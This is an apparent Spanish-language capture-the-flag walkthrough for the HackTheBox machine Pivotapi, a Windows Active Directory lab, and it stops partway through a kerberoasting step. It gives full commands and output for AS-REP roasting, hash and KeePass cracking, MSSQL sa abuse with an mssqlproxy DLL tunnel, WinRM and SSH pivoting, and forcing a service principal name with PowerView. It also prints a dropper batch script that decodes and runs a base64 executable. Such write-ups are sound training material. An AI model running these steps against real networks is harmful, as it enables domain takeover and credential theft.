xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Pivotapi



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn para forzar el escaneo aunque no reciba respuesta de los paquetes ping

❯ nmap 10.10.10.240 -Pn
Nmap scan report for 10.10.10.240  
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49702/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es licordebellota.htb ademas del nombre que es PIVOTAPI

❯ crackmapexec smb 10.10.10.240
SMB         10.10.10.240     445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es PIVOTAPI como otro dominio

❯ echo "10.10.10.240 licordebellota.htb pivotapi.licordebellota.htb" | sudo tee -a /etc/hosts  

Ya que esta abierto iniciarmos por conectarnos a ftp, en este caso admite la autenticacion por defecto del usuario anonymous sin proporcionar contraseña

❯ ftp licordebellota.htb
Connected to licordebellota.htb.
220 Microsoft FTP Service
Name (licordebellota.htb:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.  
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

Dentro de ftp encontramos varios archivos, principalmente archivos de extensión pdf sobre binarios, cambiamos el modo a bin y descargamos todos los archivos

ftp> dir
229 Entering Extended Passive Mode (|||53092|)
125 Data connection already open; Transfer starting.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf  
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> bin
200 Type set to I.
ftp> prompt off
Interactive mode off.
ftp> mget *
local: 10.1.1.414.6453.pdf remote: 10.1.1.414.6453.pdf
......................................................  
ftp>


Access - kaorz


Mirando los metadatos con exiftool de un pdf encontramos un campo Creator

❯ exiftool notes2.pdf
ExifTool Version Number         : 12.63
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 07:34:25-04:00
File Access Date/Time           : 2023:07:08 13:34:19-04:00
File Inode Change Date/Time     : 2023:07:08 13:34:19-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)  

Con exiftool dumpeamos el campo Creator de todos los archivos pdf, nos encontramos con 2 posibles usuarios validos los cuales son kaorz y alex

❯ exiftool -Creator *.pdf
======== 10.1.1.414.6453.pdf
Creator                         : Microsoft Word
======== 28475-linux-stack-based-buffer-overflows.pdf
Creator                         : Microsoft® Word 2013
======== BHUSA09-McDonald-WindowsHeap-PAPER.pdf
Creator                         : byron gronseth
======== ExploitingSoftware-Ch07.pdf
======== notes1.pdf
Creator                         : cairo 1.10.2 (http://cairographics.org)  
======== notes2.pdf
Creator                         : Kaorz
======== RHUL-MA-2009-06.pdf
Creator                         : alex
    7 image files read

Al validar los usuarios con kerbrute solo el usuario kaorz existe en el dominio

❯ kerbrute userenum -d licordebellota.htb --dc pivotapi.licordebellota.htb users.txt  
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>       pivotapi.licordebellota.htb:88

>  [+] VALID USERNAME:   kaorz@licordebellota.htb
>  Done! Tested 2 usernames (1 valid) in 0.106 seconds

Tenemos un usuario valido, dentro de los posibles ataques a probar esta el ASREPRoast usando GetNPUsers y al ser vulnerable nos devuelve un hash

❯ impacket-GetNPUsers licordebellota.htb/kaorz -no-pass 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:bd314edcba1af49ed3d17c2529b98e3a$202f3d07214e047bd3622a034ece4d643b704c86668b216fc69ae331a47269eba7b14eb33270fea257adb1fa057f987ada9b2d143b449716d5ea6c8411db5afe56d089df16996fe241574dc124738b90c49b7afe1ac2f2a328f4c77b5971ee08ee098a11bb28355d568cc961424a1d8b8c9c126ef20ddf5e300d6c76cfc99f8428447e310ee4f5f1b228e29129ebef950925c9e183423201dc765e47aca4cc7417516bf366904f04ee40f9eb6520cf61a34910709570f933216262a3980a6fb30e5b2bb2bbe6708cd62ab19fa6787ae3d5cd82996b679fd544bc21700f6853d2ed10b51d96901e8201f6391dfcaa7c79942699470410bef7  

Usando john logramos crackear el hash y obtener la contraseña del usuario kaorz

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash            
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 XOP 4x2])  
Press 'q' or Ctrl-C to abort, almost any other key for status
Roper4155        ($krb5asrep$23$kaorz@LICORDEBELLOTA.HTB)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Con crackmapexec podemos comprobar que las credenciales son validas, ahora al listar los recursos SMB tenemos privilegios READ (de lectura) en varios de ellos

❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\kaorz:Roper4155 

❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155 --shares
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\kaorz:Roper4155 
SMB         licordebellota.htb 445    PIVOTAPI         [+] Enumerated shares
SMB         licordebellota.htb 445    PIVOTAPI         Share           Permissions     Remark
SMB         licordebellota.htb 445    PIVOTAPI         -----           -----------     ------
SMB         licordebellota.htb 445    PIVOTAPI         ADMIN$                          Admin remota
SMB         licordebellota.htb 445    PIVOTAPI         C$                              Recurso predeterminado
SMB         licordebellota.htb 445    PIVOTAPI         IPC$            READ            IPC remota
SMB         licordebellota.htb 445    PIVOTAPI         NETLOGON        READ            Recurso compartido del servidor de inicio de sesión 
SMB         licordebellota.htb 445    PIVOTAPI         SYSVOL          READ            Recurso compartido del servidor de inicio de sesión


Access - svc_mssql


Nos conectamos con smbclient al recurso compartido NETLOGON, dentro de ella tenemos un directorio HelpDesk que contiene 2 archivos msg y un archivo exe

❯ impacket-smbclient licordebellota.htb/kaorz:Roper4155@pivotapi.licordebellota.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use NETLOGON
# ls
drw-rw-rw-          0  Sat Aug  8 06:42:28 2020 .
drw-rw-rw-          0  Sat Aug  8 06:42:28 2020 ..
drw-rw-rw-          0  Sun Aug  9 11:40:36 2020 HelpDesk
# cd HelpDesk
# ls
drw-rw-rw-          0  Sun Aug  9 11:40:36 2020 .
drw-rw-rw-          0  Sun Aug  9 11:40:36 2020 ..
-rw-rw-rw-    1854976  Fri Feb 19 06:33:15 2021 Restart-OracleService.exe
-rw-rw-rw-      24576  Sun Aug  9 11:40:36 2020 Server MSSQL.msg
-rw-rw-rw-      26112  Sun Aug  9 07:45:39 2020 WinRM Service.msg
# mget *
[*] Downloading Restart-OracleService.exe
[*] Downloading Server MSSQL.msg
[*] Downloading WinRM Service.msg
#

Los 2 archivos con extensión msg podemos abrirlos con outlook, el primero nos dice que el servicio winrm esta deshabilitado en el equipo y el segundo nos dice que en el año 2020 se ha migrado de oracle a mssql a diferencia del año 2010

Al ejecutar el archivo exe este sale sin mostrar nada interesante, usando procmon podemos monitorear las acciones que este hace, al parecer crea un archivo de extensión bat en el directorio Temp, pero al revisar el directorio este no existe

Ya que probablemente lo esta eliminando antes de terminar la ejecución del exe, modificaremos los permisos en esta carpeta para que no pueda eliminar nada

Al ejecutar de nuevo el exe como no puede borrar los archivos nos encontramos con ellos en el directorio Temp, en este caso son un archivo tmp y un archivo bat

El archivo bat inicia haciendo un par de comprobaciones de usuario, despues guarda una data en base64 en un archivo oracle.txt, despues crea un archivo de powershell que lo convierte en un exe y lo ejecuta, finalmente borra los archivos

@shift /0
@echo off

if %username% == cybervaca goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
........................................................................................................
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1  
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe

:error

Podemos modificar el bat para quitar las lineas donde hace comprobaciones y borra archivos, para asi poder ver en que consisten los archivos que este crea

@echo off

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
........................................................................................................
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1  
powershell.exe -exec bypass -file c:\programdata\monta.ps1

Al ejecutar nuestra version modificada del script de extensión bat nos crea varios archivos, el txt, el ps1 y un exe todo en el directorio C:\ProgramData

Este archivo exe tampoco nos deja muy claro que es lo que hace, asi que lo abriremos usando Api Monitor podemos correr el programa y ver las acciones que realiza por detras, esto es similar a lo que hace la herramienta ltrace en Linux

Después de ver un poco las acciones vemos que con CreateProcessWithLogonW se autentica para crear un proceso usando las credenciales de svc_oracle, esta es una de las formas para ver la contraseña y obtener posibles credenciales validas

Otra forma mas guapa es usando x64dbg, pero para que no termine el programa al correrlo en las preferencias haremos que haga un breakpoint antes de la salida

De esta manera corremos el programa y se detiene antes de salir con el banner

Vamos al apartado mapa de memoria y la idea sera buscar una direccion donde el tipo sea MAP con los mejores privilegios, en este caso solo encontramos RW-

Si vamos a la representación en el volcado podemos ver la cabecera MZ lo que nos indica que es un ejecutable para MS-DOS, en pocas palabras un archivo exe

Volvemos al mapa de memoria y dumpeamos la memoria en la direccion donde tenemos el MAP con los permisos RW-, guardamos esto como un archivo exe

Este archivo al ser .NET podemos decompilarlo con dnspy y ver su codigo fuente, en este encontramos la contraseña y tenemos credenciales del usuario svc_oracle

Sin embargo al comprobar las credenciales de svc_oracle con crackmapexec encontramos que estas las credenciales no son validas a nivel de dominio

❯ crackmapexec smb licordebellota.htb -u svc_oracle -p '#oracle_s3rV1c3!2010'
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [-] LicorDeBellota.htb\svc_oracle:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE

Listando los usuarios del dominio no encontramos al usuario svc_oracle, en su lugar buscando por usuarios que inicen por svc vemos que existe svc_mssql

❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155 --users
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\kaorz:Roper4155 
SMB         licordebellota.htb 445    PIVOTAPI         [+] Enumerated domain user(s)
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\0xdf                           badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\ippsec                         badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\aDoN90                         badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Jharvar                        badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\OscarAkaElvis                  badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Fiiti                          badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\socketz                        badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Gh0spp7                        badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\FrankyTech                     badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\v1s0r                          badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\borjmz                         badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\manulqwerty                    badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\StooormQ                       badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\0xVIC                          badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\lothbrok                       badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\gibdeon                        badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\sshd                           badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\svc_mssql                      badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Dr.Zaiuss                      badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\superfume                      badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\jari                           badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Kaorz                          badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\3v4Si0N                        badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\krbtgt                         badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\cybervaca                      badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Invitado                       badpwdcount: 0 desc: 
SMB         licordebellota.htb 445    PIVOTAPI         LicorDeBellota.htb\Administrador                  badpwdcount: 0 desc:

En realidad tiene sentido, volviendo a los mensajes nos dice que hasta el año 2010 corria oracle pero en el año 2020 se cambio el servicio de oracle por mssql

Podemos modificar la contraseña intentando cambiar los datos que conocemos

#oracle_s3rV1c3!2010
#mssql_s3rV1c3!2020

Con crackmapexec podemos comprobar el usuario svc_mssql que existe a nivel de dominio y la contraseña que hemos modificado, nos devuelve que son validas

❯ crackmapexec smb licordebellota.htb -u svc_mssql -p '#mssql_s3rV1c3!2020'
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\svc_mssql:#mssql_s3rV1c3!2020


Shell - svc_mssql


Ya que tenemos credenciales válidas podemos usar bloodhound-python para enumerar usuarios, grupos y privilegios del dominio, esto nos creara un zip

❯ bloodhound-python -u kaorz -p Roper4155 -d licordebellota.htb -dc pivotapi.licordebellota.htb -ns 10.10.10.240 --zip  
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: pivotapi.licordebellota.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: pivotapi.licordebellota.htb
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20230708134057_bloodhound.zip

Después de subir el zip a bloodhound podemos ver que el usuario svc_mssql pertenece al grupo winrm, sin embargo el puerto 5985 no esta expuesto para todos

Al intentar conectarnos como el usuario svc_mssql al servicio de mssql nos devuelve un error el cual nos dice que la autenticación con estas credenciales no es valida

❯ impacket-mssqlclient licordebellota.htb/svc_mssql:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -windows-auth  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\svc_mssql'.

Por defecto el usuario sa es el administrador de mssql, al conectarnos como el utilizando la contraseña de svc_mssql nos otorga acceso al servidor de mssql

❯ impacket-mssqlclient licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

Como sa podemos usar xp_cmdshell sin embargo de primeras no nos podemos enviar una shell o crear un proxy ya que no tenemos conexion con nuestro equipo

SQL> xp_cmdshell ping 10.10.14.10

output
--------------------------------------------------------------------------  

Haciendo ping a 10.10.14.10 con 32 bytes de datos:

Error general.
Error general.
Error general.
Error general.

Estadísticas de ping para 10.10.14.10:
    Paquetes: enviados = 4, recibidos = 0, perdidos = 4
    (100% perdidos),

SQL>

Después de buscar un poco encontramos un proyecto que nos permite crear un proxy a través de la conexion mssql, para ello usaremos la version modificada de mssqlclient.py iniciamos ejecutando enable_ole y subiendo el reciclador.dll

❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL> enable_ole
SQL> upload reciclador.dll C:\ProgramData\reciclador.dll
[+] Uploading 'reciclador.dll' to 'C:\ProgramData\reciclador.dll'...
[+] Size is 111616 bytes
[+] Upload completed
SQL>

Ahora procederemos a instalar el archivo assembly.dll, esto usando los parametros -install y -clr para indicarlo, estos parametros son parte del proyecto modificado

❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -install -clr assembly.dll  
Impacket v0.11.0 - Copyright 2023 Fortra

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[*] Proxy mode: install
[*] CLR enabled
[*] Assembly successfully installed
[*] Procedure successfully installed

Finalmente inciamos el reciclador indicando la ruta del dll, al correrlo este nos abre un proxy el puerto 1337 que podemos indicar en la configuracion de proxychains

❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -start -reciclador 'C:\ProgramData\reciclador.dll'  
Impacket v0.11.0 - Copyright 2023 Fortra

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Listening on port 1337...
[*] ACK from server!

Pasando a traves del tunel en el puerto 1337 con proxychains tenemos conexion con el puerto 5985 de la maquina asi que nos permitira conectarnos al servicio

❯ proxychains -q nmap licordebellota.htb -Pn -n -p 5985  
Nmap scan report for 10.10.10.240
PORT     STATE SERVICE
5985/tcp open  wsman

Ya que el usuario svc_mssql pertenecia al grupo winrm deberiamos poder conectarnos a la maquina con evil-winrm y obtener una powershell como este

❯ proxychains -q evil-winrm -i licordebellota.htb -u svc_mssql -p '#mssql_s3rV1c3!2020'  
PS C:\Users\svc_mssql\Documents> whoami
licordebellota\svc_mssql
PS C:\Users\svc_mssql\Documents>


Shell - 3v4s10n


En el escritorio del usuario svc_mssql nos encontramos 2 archivos, el primero es una nota que nos dice que usemos las credenciales para conectarnos a ssh, ya que el proxy en mssql nos puede dar varios problemas al usarlo por un largo tiempo

PS C:\Users\svc_mssql\Desktop> dir

    Directorio: C:\Users\svc_mssql\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         8/8/2020  10:12 PM           2286 credentials.kdbx
-a----        4/30/2021  10:39 AM             93 note.txt

PS C:\Users\svc_mssql\Desktop> type note.txt
Long running MSSQL Proxies can cause issues.  Please switch to SSH after getting credentials.  
PS C:\Users\svc_mssql\Desktop>

Tambien hay un archivo kdbx el cual es un archivo para keepass, lo descargamos

PS C:\Users\svc_mssql\Desktop> download credentials.kdbx credentials.kdbx

Info: Downloading C:\Users\svc_mssql\Desktop\credentials.kdbx to credentials.kdbx  

Info: Download successful!

PS C:\Users\svc_mssql\Desktop>

Para obtener la contraseña de este podemos usar keepass2john que nos creara un hash que podemos crackear usando john y obtener la contraseña en texto plano

❯ keepass2john credentials.kdbx > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
mahalkita        (credentials)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ahora con KeePassXC podemos abrir el archivo kdbx y usar la contraseña crackeada

Al abrir la db podemos encontrar credenciales correspondientes al nombre SSH

Al abrirlas podemos ver la contraseña en texto plano del usuario 3v4Si0N para ssh

Comprobamos las credenciales de 3v4Si0N con crackmapexec y estas son validas tanto por smb a nivel de dominio como para autenticarnos al servicio ssh

❯ crackmapexec smb licordebellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23'
SMB         licordebellota.htb 445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)  
SMB         licordebellota.htb 445    PIVOTAPI         [+] LicorDeBellota.htb\3v4Si0N:Gu4nCh3C4NaRi0N!23

❯ crackmapexec ssh licordebellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23'
SSH         licordebellota.htb 22     licordebellota.htb [*] SSH-2.0-OpenSSH_for_Windows_7.7
SSH         licordebellota.htb 22     licordebellota.htb [+] 3v4Si0N:Gu4nCh3C4NaRi0N!23

Al conectarnos por ssh indicaremos el puerto 1337 con el parametro -D para crear el proxy a traves de ssh y no por mssql como antes, ademas podemos ejecutar powershell para mas comodidad y leer la primera flag de bajos privilegios

❯ ssh 3v4Si0N@licordebellota.htb -D 1337
3v4Si0N@licordebellota.htb's password: Gu4nCh3C4NaRi0N!23
Microsoft Windows [Versión 10.0.17763.1879]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.  

PS C:\Users\3v4Si0N> whoami
licordebellota\3v4si0n
PS C:\Users\3v4Si0N> type Desktop\user.txt
1e0**************************a4e 
PS C:\Users\3v4Si0N>


Shell - dr.zaiuss


Volviendo a bloodhound ahora podemos buscar una ruta desde el usuario 3v4Si0N, este tiene privilegios GenericAll sobre Dr.Zaiuss que a su vez tiene privilegios GenericAll sobre el usuario Superfume que pertenece al grupo Developers

Usando el modulo PowerView.ps1 como el usuario 3v4Si0N podemos setearle un SPN al usuario Dr.Zaiuss y asi hacer a este usuario vulnerable a un kerberoasting

PS C:\Users\3v4Si0N> Import-Module .\PowerView.ps1
PS C:\Users\3v4Si0N> Set-DomainObject -Identity Dr.Zaiuss -Set @{serviceprincipalname='not/exist'}  
PS C:\Users\3v4Si0N>

Ahora que este es vulnerable obtenemos el hash de Dr.Zaiuss usando GetUserSPNs

❯ impacket-GetUserSPNs licordebellota.htb/3v4Si0N:'Gu4nCh3C4NaRi0N!23' -request
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName  Name       MemberOf                                         PasswordLastSet             LastLogon                   Delegation 
--------------------  ---------  -----------------------------------------------  --------------------------  --------------------------  ----------
